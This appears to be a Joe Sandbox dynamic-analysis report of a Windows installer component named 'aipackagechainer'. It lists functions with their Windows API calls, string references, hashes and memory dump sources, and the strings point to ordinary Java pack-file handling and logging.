                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorLastValue___vcrt_
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3852720340-0
                                                                                                                                                                                                                                                  • Opcode ID: 867b2f6f13d1745617ce4b659eace0c38c22ddda399619949174b887d1334b3c
                                                                                                                                                                                                                                                  • Instruction ID: 5b522bbc7b5df42bd0ace223c26a0ee28cc4d39120a693a3e6ac679afbc4de1f
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 867b2f6f13d1745617ce4b659eace0c38c22ddda399619949174b887d1334b3c
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 94014C3663A3126FAE343BB5BC8F5162B58EB05372321826AF52C550E0EF714C719660
                                                                                                                                                                                                                                                  Function 00277940 Relevance: 9.1, APIs: 6, Instructions: 52COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • ResetEvent.KERNEL32(?,?,?,00279041), ref: 00277952
                                                                                                                                                                                                                                                  • CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,?,?,00279041), ref: 00277962
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0027796F
                                                                                                                                                                                                                                                  • ResetEvent.KERNEL32(?), ref: 00277987
                                                                                                                                                                                                                                                  • CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00277997
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 002779A4
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Event$CreateErrorLastReset
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3053278375-0
                                                                                                                                                                                                                                                  • Opcode ID: a9235251d2629712c9e77e7d030eae986adc5b5fc98be93c55f467fb08dd9ad3
                                                                                                                                                                                                                                                  • Instruction ID: 9ccf5f8dbb6e42f9846cd76ff3e9ec31e2ca7651d48656e27ff6e6f41fdf6b73
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: a9235251d2629712c9e77e7d030eae986adc5b5fc98be93c55f467fb08dd9ad3
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E401443036A703DBEF645A3AAC19B6672D86F40711F114529FE0AD62D0FBB0EC024924
                                                                                                                                                                                                                                                  Function 00279150 Relevance: 9.0, APIs: 6, Instructions: 37synchronizationCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • SetEvent.KERNEL32(00000002,?,?,0027341F,4938EAB5), ref: 00279166
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,?,0027341F,4938EAB5), ref: 00279170
                                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF,?,?,0027341F,4938EAB5), ref: 0027917C
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,?,0027341F,4938EAB5), ref: 00279187
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(?,?,?,0027341F,4938EAB5), ref: 00279191
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,?,0027341F,4938EAB5), ref: 0027919B
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorLast$CloseEventHandleObjectSingleWait
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 891035169-0
                                                                                                                                                                                                                                                  • Opcode ID: d2b46827a725b0c8d24d2946078378f368a423594de29006f521ae1c30164fa2
                                                                                                                                                                                                                                                  • Instruction ID: 1eeaa81f970eed694d82edcc2370f580fd5aeb038f8419a617739fb27158088a
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d2b46827a725b0c8d24d2946078378f368a423594de29006f521ae1c30164fa2
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5CF012346103034BEA205F7ABC4CA56B3DCAF91330B568A19E469D2290DBB5EC618A30
                                                                                                                                                                                                                                                  Function 00256740 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 245fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • _wcsrchr.LIBVCRUNTIME ref: 00256774
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                  • DeleteFileW.KERNEL32(?), ref: 00256819
                                                                                                                                                                                                                                                  • DeleteFileW.KERNEL32(?,?,?,?,?), ref: 0025694C
                                                                                                                                                                                                                                                    • Part of subcall function 002367F0: CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,4938EAB5,00000001,75A8EB20), ref: 0023683F
                                                                                                                                                                                                                                                    • Part of subcall function 002367F0: ReadFile.KERNEL32(00000000,?,000003FF,?,00000000,?,80000000,00000003,00000000,00000003,00000080,00000000,4938EAB5,00000001,75A8EB20), ref: 00236870
                                                                                                                                                                                                                                                    • Part of subcall function 00237780: LoadStringW.USER32(000000F5,?,00000514,4938EAB5), ref: 002377D6
                                                                                                                                                                                                                                                  • _wcsrchr.LIBVCRUNTIME ref: 00256888
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  • --verbose --log-file="%s" --remove-pack-file "%s" "%s", xrefs: 002567CE
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: File$Delete_wcsrchr$CreateHeapLoadProcessReadString
                                                                                                                                                                                                                                                  • String ID: --verbose --log-file="%s" --remove-pack-file "%s" "%s"
                                                                                                                                                                                                                                                  • API String ID: 2917987377-3685554107
                                                                                                                                                                                                                                                  • Opcode ID: 8d8b241109861984cce781f83c0489d88367a692126084cbc53e163168d08fb7
                                                                                                                                                                                                                                                  • Instruction ID: aa006de9a925d2a2986f90d35be19ec4b13b1eb5fbccf68a7ddf265081a20d4d
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8d8b241109861984cce781f83c0489d88367a692126084cbc53e163168d08fb7
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E191A071A0064A9FDB00DF68C849B9EFBB5FF45325F1482A9E815DB292DB31DD18CB90
                                                                                                                                                                                                                                                  Function 00234E40 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 178COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • PathIsUNCW.SHLWAPI(?,4938EAB5,?,?,?,?,?,?,?,?,?,?,?,?,002A202F,000000FF), ref: 00234E8B
                                                                                                                                                                                                                                                  • CreateDirectoryW.KERNEL32(?,00000000,?,00000000,002BC42C,00000001,?,?,4938EAB5), ref: 00234F4A
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,4938EAB5), ref: 00234F58
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CreateDirectoryErrorLastPath
                                                                                                                                                                                                                                                  • String ID: \\?\$\\?\UNC\
                                                                                                                                                                                                                                                  • API String ID: 953296794-3019864461
                                                                                                                                                                                                                                                  • Opcode ID: 35f6febc2b27046bac1d092222b12dc77e61866bef1b5b0fa2f1975c31ac88e1
                                                                                                                                                                                                                                                  • Instruction ID: 3e465bb5f2146ccf0c12c175fa2fd9504a917db76f9986ddac79d24f2ee8d95d
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 35f6febc2b27046bac1d092222b12dc77e61866bef1b5b0fa2f1975c31ac88e1
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2761E171E106099FDB00EFA8C889BEDBBF4EF59320F244299E415A72D1DB35A954CF90
                                                                                                                                                                                                                                                  Function 00238080 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 170COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • InitializeCriticalSection.KERNEL32(?,4938EAB5), ref: 002380BC
                                                                                                                                                                                                                                                    • Part of subcall function 00213200: RtlAllocateHeap.NTDLL(00000000,00000000,00000000,4938EAB5,00000000,0029B9F0,000000FF,?,?,002D3B80,?,0024D90C,80004005,4938EAB5,?,00000000), ref: 0021324A
                                                                                                                                                                                                                                                  • EnterCriticalSection.KERNEL32(?,4938EAB5), ref: 002380C9
                                                                                                                                                                                                                                                  • OutputDebugStringW.KERNEL32(?,?,00000000), ref: 00238175
                                                                                                                                                                                                                                                  • LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,002A293D,000000FF), ref: 00238217
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  • Logger::SetLogFile( %s ) while OLD path is:%s, xrefs: 002380FF
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CriticalSection$AllocateDebugEnterHeapInitializeLeaveOutputString
                                                                                                                                                                                                                                                  • String ID: Logger::SetLogFile( %s ) while OLD path is:%s
                                                                                                                                                                                                                                                  • API String ID: 117955849-1927537607
                                                                                                                                                                                                                                                  • Opcode ID: 1b7b4f95679486fd4024e6dce7b82b5728f05d8107fdea112d1a3d3cfa365d60
                                                                                                                                                                                                                                                  • Instruction ID: 81e351caa248274373aa66c06276cd9b9b1899aa817a75300c2149ddb9fa0605
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1b7b4f95679486fd4024e6dce7b82b5728f05d8107fdea112d1a3d3cfa365d60
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 49511271910206DFDB00DF68C804BBEBBB5FF16314F144299EC59AB291EB319E26CB90
                                                                                                                                                                                                                                                  Function 00255C70 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 167synchronizationCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF,4938EAB5), ref: 00255CA4
                                                                                                                                                                                                                                                    • Part of subcall function 00233CC0: MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,00000000,00000000,?,?,?,00240ECD,002BED9C,?,?,?,?,00000000), ref: 00233CD8
                                                                                                                                                                                                                                                    • Part of subcall function 00233CC0: MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,4938EAB5,-00000001,?,?,?,00240ECD,002BED9C,?,?,?,?,00000000), ref: 00233D0A
                                                                                                                                                                                                                                                    • Part of subcall function 00213200: RtlAllocateHeap.NTDLL(00000000,00000000,00000000,4938EAB5,00000000,0029B9F0,000000FF,?,?,002D3B80,?,0024D90C,80004005,4938EAB5,?,00000000), ref: 0021324A
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ByteCharMultiWide$AllocateHeapObjectSingleWait
                                                                                                                                                                                                                                                  • String ID: !$*.*$.jar$.pack
                                                                                                                                                                                                                                                  • API String ID: 2019434529-2527187032
                                                                                                                                                                                                                                                  • Opcode ID: 8a6b4e1a4985ab9e9e0911328131b879ced6b7045cdb3aff4bcadfa7889e90d9
                                                                                                                                                                                                                                                  • Instruction ID: f3a50404a6a2050bdf71b1af921857c9bfc6d834406420943df85d27d6eb1148
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8a6b4e1a4985ab9e9e0911328131b879ced6b7045cdb3aff4bcadfa7889e90d9
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: D251B270A11A1A9FDB10DFA8C858BAEF7B4FF04311F104269E825EB291DB34D914CF94
                                                                                                                                                                                                                                                  Function 00243A20 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 160fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorLast$DeleteDirectoryFileRemove
                                                                                                                                                                                                                                                  • String ID: H
                                                                                                                                                                                                                                                  • API String ID: 50330452-2852464175
                                                                                                                                                                                                                                                  • Opcode ID: 3b2c81c23ad01087b558b464f13c165f73952ac59606ccc32e278559033447d8
                                                                                                                                                                                                                                                  • Instruction ID: cfa6153ade51a7af4a539c9c0a5556ac6e138d533b0e8785a6d2f99d683c12f1
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3b2c81c23ad01087b558b464f13c165f73952ac59606ccc32e278559033447d8
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: B751C531A1022ADFDF19DF94D888BDE77B0FF05304F1544A9D805AB251DB74AA18CFA1
                                                                                                                                                                                                                                                  Function 0025C1F0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 90COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • FlushFileBuffers.KERNEL32(?,?,00000000,?,?,?,00000000), ref: 0025C228
                                                                                                                                                                                                                                                  • GetFileSize.KERNEL32(?,00000000,?,00000000), ref: 0025C238
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: File$BuffersFlushHeapProcessSize
                                                                                                                                                                                                                                                  • String ID: FTP Server$HTTP/1.0$Local Network Server
                                                                                                                                                                                                                                                  • API String ID: 3404093814-2627868275
                                                                                                                                                                                                                                                  • Opcode ID: f83d7e392da8aefc874691fa1c983b66620d91e3a1a804e295a289214c203739
                                                                                                                                                                                                                                                  • Instruction ID: f271b809e1f7c94d6cbe404475c6b8995210ba7d7f3597c748363744a5e0dd53
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: f83d7e392da8aefc874691fa1c983b66620d91e3a1a804e295a289214c203739
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 86316F7190024A9FDB04DF68C844B9ABBF9FF05321F24866AEC25D7291E770DE14CB94
                                                                                                                                                                                                                                                  Function 00224420 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 74libraryloaderCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • LoadLibraryW.KERNEL32(combase.dll,RoOriginateLanguageException), ref: 00224462
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,combase.dll), ref: 00224468
                                                                                                                                                                                                                                                  • GetErrorInfo.OLEAUT32(00000000,00000000), ref: 0022449A
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AddressErrorInfoLibraryLoadProc
                                                                                                                                                                                                                                                  • String ID: RoOriginateLanguageException$combase.dll
                                                                                                                                                                                                                                                  • API String ID: 1186719886-3996158991
                                                                                                                                                                                                                                                  • Opcode ID: 7744c7cecf7da4aa594d4ddfe7631ac821c2537246eb8445b447b2d4173c2697
                                                                                                                                                                                                                                                  • Instruction ID: 41fc70a0dbe65229e40d8df88249a1945d752d123cd827a565c5b8c98a2b0672
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7744c7cecf7da4aa594d4ddfe7631ac821c2537246eb8445b447b2d4173c2697
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 71317E7191021AAFDB10EFE4D846BEEBBB4FB05304F104229E854A33C0DBB45A54CB91
                                                                                                                                                                                                                                                  Function 0028A7B7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,4938EAB5,?,?,00000000,002ACB25,000000FF,?,0028A747,?,?,0028A71B,?), ref: 0028A7EC
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0028A7FE
                                                                                                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000,?,00000000,002ACB25,000000FF,?,0028A747,?,?,0028A71B,?), ref: 0028A820
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                                                                                                                                                                  • String ID: CorExitProcess$mscoree.dll
                                                                                                                                                                                                                                                  • API String ID: 4061214504-1276376045
                                                                                                                                                                                                                                                  • Opcode ID: 7d219448c06539ee058de650f759940b067a88960b0cbaced876c8146c501ac3
                                                                                                                                                                                                                                                  • Instruction ID: 9651978cb939e9ffc29c50dbfc6c1ea8a7eab919dadab652dfb40e41ae1883a6
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7d219448c06539ee058de650f759940b067a88960b0cbaced876c8146c501ac3
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 96016236910616ABDF119F50DC09BBEBBB8FB09B55F01452AE821A22D0DF749D11CB91
                                                                                                                                                                                                                                                  Function 0025FF10 Relevance: 7.7, APIs: 5, Instructions: 217windowCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 0025FF36
                                                                                                                                                                                                                                                  • IsWindowVisible.USER32(?), ref: 0025FF81
                                                                                                                                                                                                                                                  • SendMessageW.USER32(?,0000000B,00000000,00000000), ref: 0025FF97
                                                                                                                                                                                                                                                  • SendMessageW.USER32(?,0000000B,00000001,00000000), ref: 00260190
                                                                                                                                                                                                                                                  • RedrawWindow.USER32(?,00000000,00000000,00000185), ref: 002601A1
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Window$MessageSend$LongRedrawVisible
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 554559110-0
                                                                                                                                                                                                                                                  • Opcode ID: e42cd4fc9c06d9cb6e82a132979252ff570453c38e0040d55bad8a0a39146643
                                                                                                                                                                                                                                                  • Instruction ID: fe6eaf4df923bcbbc582c8f7749b3aa22eebe4b0fcf11f2b49a1a82d33d42e19
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: e42cd4fc9c06d9cb6e82a132979252ff570453c38e0040d55bad8a0a39146643
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: C1814671A183119FD710CF18C880B1AFBF2BF89750F15895EF999A72A0D771E8958F82
                                                                                                                                                                                                                                                  Function 0028F9FF Relevance: 7.7, APIs: 5, Instructions: 202COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • __alloca_probe_16.LIBCMT ref: 0028FA86
                                                                                                                                                                                                                                                  • __alloca_probe_16.LIBCMT ref: 0028FB47
                                                                                                                                                                                                                                                  • __freea.LIBCMT ref: 0028FBAE
                                                                                                                                                                                                                                                    • Part of subcall function 0028D420: HeapAlloc.KERNEL32(00000000,00000000,0028B157,?,0028F8F8,?,00000000,?,00287131,00000000,0028B157,00000000,?,?,?,0028AF51), ref: 0028D452
                                                                                                                                                                                                                                                  • __freea.LIBCMT ref: 0028FBC3
                                                                                                                                                                                                                                                  • __freea.LIBCMT ref: 0028FBD3
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
